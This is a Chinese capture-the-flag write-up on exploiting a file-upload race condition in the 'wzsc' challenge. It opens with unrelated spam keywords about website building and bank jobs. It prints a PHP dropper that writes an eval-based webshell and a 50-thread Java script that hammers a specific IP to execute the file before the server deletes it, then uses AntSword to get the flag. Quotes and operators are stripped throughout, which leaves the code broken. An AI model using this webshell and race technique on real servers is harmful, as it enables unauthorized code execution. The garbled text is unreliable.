企业网站开发哪个好薇,网站后端模板,哈尔滨建设银行招聘信息网,做网站不用服务器吗漏洞攻击之文件上传条件竞争 wzsc_文件上传漏洞现象与分析思路编写攻击脚本和重放措施中国蚁剑拿flag wzsc_文件上传
漏洞现象与分析
只有一个upload前端标签元素#xff0c;并且上传任意文件都会跳转到upload.php页面#xff0c;判定是一个apache容器#xff0c;开始扫描… 漏洞攻击之文件上传条件竞争 wzsc_文件上传漏洞现象与分析思路编写攻击脚本和重放措施中国蚁剑拿flag wzsc_文件上传
漏洞现象与分析
只有一个upload前端标签元素并且上传任意文件都会跳转到upload.php页面判定是一个apache容器开始扫描web目录查看是否有机可乘 扫描得知有关键的flag.php页面和upload文件根路径和upload.php页面php文件查看了都没有渲染有用的信息…但是upload文根重定向到文件上传的页面 并且上传的php木马等都会被过滤判断源码中有校验白名单联想到文件上传的条件竞争 php校验文件上传的时候先写入判断不符合后再回退 由于服务器并发处同时理多个请求假如a用户上传了一个文件b用户访问a用户的文件就会出现以下三种情况 1.访问时间点在上传文件之前没有此文件 2.访问时间在上传文件之后且服务器还未将其删除文件存在 3.访问时间点在服务器删除文件之后文件不存在 思路 思路清晰先说BP 在服务器释放上传的php文件之前先让该文件被执行那么操作权就在我们手上了这里我们让生成蚁剑的webshell木马再通过提权webshell获取源码拿到flag 编写攻击脚本和重放措施
php上传的脚本为
?php
fputs(fopen(shell.php, w), ?php eval($_POST[cmd]); ?);
?执行该脚本打时候调用fopen函数写入webshell的木马。 该脚本为upload在burpsuite手动重放即可记得点快一点 小编使用java多线程破坏服务器的退回操作上脚本
SpringBootApplication
Slf4j
public class Application {Beanpublic OkHttpClient okHttpClient() {return new OkHttpClient();}private static final String requestUrl http://61.147.171.105:51022/upload/test.php;public static String sendRequest(OkHttpClient okHttpClient, String url) throws IOException {Request request new Request.Builder().url(url).build();try (Response response okHttpClient.newCall(request).execute()) {if (!response.isSuccessful()) {throw new IOException(Unexpected code response);}return Objects.requireNonNull(response.body()).string();}}public static void main(String[] args) {ConfigurableApplicationContext applicationContext SpringApplication.run(Application.class, args);OkHttpClient okHttpClient applicationContext.getBean(okHttpClient, OkHttpClient.class);for (int i 0; i 50; i) {new Thread(() - {int num 0;while (true) {log.warn({}第{}次请求, Thread.currentThread().getName(), num);try {String resp sendRequest(okHttpClient, requestUrl);log.info(数据获取成功{}, resp);System.exit(0);} catch (IOException e) {}}}, threadNo i).start();}}
}
最终java脚本结束 我们访问upload文根查看结果 木马上传成功
中国蚁剑拿flag 提交flag